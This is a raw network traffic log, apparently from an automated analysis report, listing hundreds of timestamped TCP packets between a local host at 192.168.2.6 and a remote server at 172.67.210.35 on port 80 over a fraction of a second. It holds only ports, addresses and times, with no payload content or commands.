Jan 21, 2024 17:27:13.203264952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203277111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203289986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203299046 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203303099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203313112 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203316927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203330994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203346014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203346968 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203360081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203388929 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203418016 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203464985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203476906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203490019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203504086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203516960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203524113 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203528881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203541994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203545094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203555107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203568935 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203582048 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203599930 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.203975916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.203989983 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204001904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204018116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204025984 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.204042912 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.204124928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204144001 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204158068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204170942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204175949 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.204185963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204199076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204205036 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.204226971 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.204256058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.204294920 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.204967022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205143929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205157042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205168962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205182076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205195904 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.205220938 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.205354929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205368996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205384016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205398083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205403090 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.205411911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205425024 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.205434084 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.205456018 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.206180096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206195116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206232071 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.206324100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206336975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206353903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206367016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206372023 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.206381083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206393957 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206397057 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.206408024 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206419945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206424952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.206433058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.206451893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.206470966 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.207175016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207190037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207201958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207232952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.207308054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207321882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207334042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207361937 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.207386017 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.207484007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207562923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207576990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207587957 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207602024 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207612038 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.207614899 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207628012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207640886 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207643032 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.207653046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207659960 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.207665920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207679987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.207693100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.207724094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.208543062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208554983 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208565950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208579063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208592892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208597898 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.208607912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208621025 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.208622932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208635092 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208637953 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.208647966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208662033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208673000 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.208674908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.208698988 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.208722115 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.209376097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209389925 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209400892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209414959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209429026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209429979 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.209440947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209453106 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209465981 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.209466934 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209489107 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.209517956 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.209548950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209562063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209575891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.209609985 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.210472107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210486889 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210498095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210510969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210524082 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.210525036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210539103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210552931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210553885 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.210566998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210573912 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.210581064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210593939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210603952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.210618019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.210635900 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.210660934 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.211374998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211389065 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211400032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211410999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211425066 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211438894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211441994 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.211452961 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211467028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211476088 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.211478949 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211484909 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.211504936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211518049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.211524963 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.211553097 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.212218046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212230921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212241888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212254047 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212268114 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212276936 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.212281942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212299109 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.212316990 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.212407112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212420940 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212431908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212445974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212457895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.212462902 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.212490082 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.212510109 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.213181973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213196039 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213207006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213218927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213234901 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213237047 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.213248014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213264942 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.213299990 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.213589907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213603973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213615894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213649035 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.213721991 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213736057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213747978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.213768959 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.213793039 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.213809967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214003086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214015961 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214027882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214040995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214051008 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.214054108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214066982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214072943 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.214081049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214093924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214102983 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.214107037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214126110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214128971 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.214138985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214150906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214155912 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.214164019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214176893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214190006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.214193106 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.214222908 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.214241028 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.215593100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215605974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215616941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215650082 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.215776920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215790987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215801954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215816021 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215828896 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215837002 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.215841055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215852976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215858936 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.215866089 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.215877056 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.215900898 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.217606068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217619896 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217632055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217645884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217654943 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.217695951 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.217788935 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217802048 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217813969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217827082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217839003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217845917 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.217850924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217859983 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.217868090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.217917919 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.217917919 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.218619108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218632936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218646049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218660116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218673944 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218679905 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.218687057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218699932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218703985 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.218729973 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.218746901 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218760014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218790054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.218940973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218955994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.218995094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.219125032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219139099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219151020 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219178915 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.219206095 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.219301939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219314098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219326019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219338894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219352007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219355106 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.219364882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219386101 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.219398975 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.219422102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219439030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219451904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219465017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219477892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.219491005 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.219521999 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.220175028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220222950 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.220369101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220381021 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220392942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220432997 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.220555067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220568895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220581055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220594883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220607042 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.220608950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220628977 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.220653057 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.220676899 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220693111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220705986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220717907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220731974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220745087 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220750093 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.220781088 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.220813036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220827103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.220880032 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.221541882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221555948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221566916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221574068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221585989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221600056 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221612930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221613884 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.221626043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221638918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221647024 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.221683979 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.221700907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221714973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221726894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221743107 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.221774101 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.221899033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221913099 CET	80	49713	172.67.210.35	192.168.2.6
